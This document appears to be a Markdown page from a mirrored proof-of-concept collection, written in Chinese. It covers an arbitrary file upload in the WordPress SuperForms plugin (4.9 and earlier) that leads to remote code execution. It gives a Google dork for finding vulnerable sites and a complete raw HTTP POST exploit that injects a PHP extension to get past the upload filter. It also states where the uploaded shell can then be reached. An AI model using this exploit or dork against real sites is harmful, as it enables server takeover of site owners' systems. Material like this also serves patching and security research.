mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
72 lines
1.7 KiB
Markdown
72 lines
1.7 KiB
Markdown
# WordPress SuperForms 4.9 任意文件上传到远程代码执行
|
||
|
||
## 漏洞描述
|
||
|
||
SuperForms官方链接:https://renstillmann.github.io/super-forms/#/
|
||
|
||
参考链接:
|
||
|
||
- https://www.exploit-db.com/exploits/49490
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
All (<= 4.9.X)
|
||
```
|
||
|
||
## Google Dork
|
||
|
||
```
|
||
inurl:"/wp-content/plugins/super-forms/"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
poc:
|
||
|
||
```
|
||
POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
|
||
<=== exploit end point
|
||
Host: localhost
|
||
User-Agent: UserAgent
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
Accept-Language: en-US,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
X-Requested-With: XMLHttpRequest
|
||
Content-Type: multipart/form-data;
|
||
boundary=---------------------------423513681827540048931513055996
|
||
Content-Length: 7058
|
||
Origin: localhost
|
||
Connection: close
|
||
Referer: localhost
|
||
Cookie:
|
||
|
||
-----------------------------423513681827540048931513055996
|
||
Content-Disposition: form-data; name="accept_file_types"
|
||
|
||
jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF <=======
|
||
inject extension (|PHP4) to validate file to upload
|
||
-----------------------------423513681827540048931513055996
|
||
Content-Disposition: form-data; name="max_file_size"
|
||
|
||
8000000
|
||
-----------------------------423513681827540048931513055996
|
||
Content-Disposition: form-data; name="image_library"
|
||
|
||
0
|
||
-----------------------------423513681827540048931513055996
|
||
Content-Disposition: form-data; name="files[]";
|
||
filename="filename.(extension)" <==== inject code extension (.php4)
|
||
for example
|
||
Content-Type: application/pdf
|
||
|
||
Evil codes to be uploaded
|
||
|
||
-----------------------------423513681827540048931513055996--
|
||
|
||
# Uploaded Malicious File can be Found in :
|
||
/wp-content/uploads/superforms/2021/01/<id>/filename.php4
|
||
u can get <id> from server reply .
|
||
```
|
||
|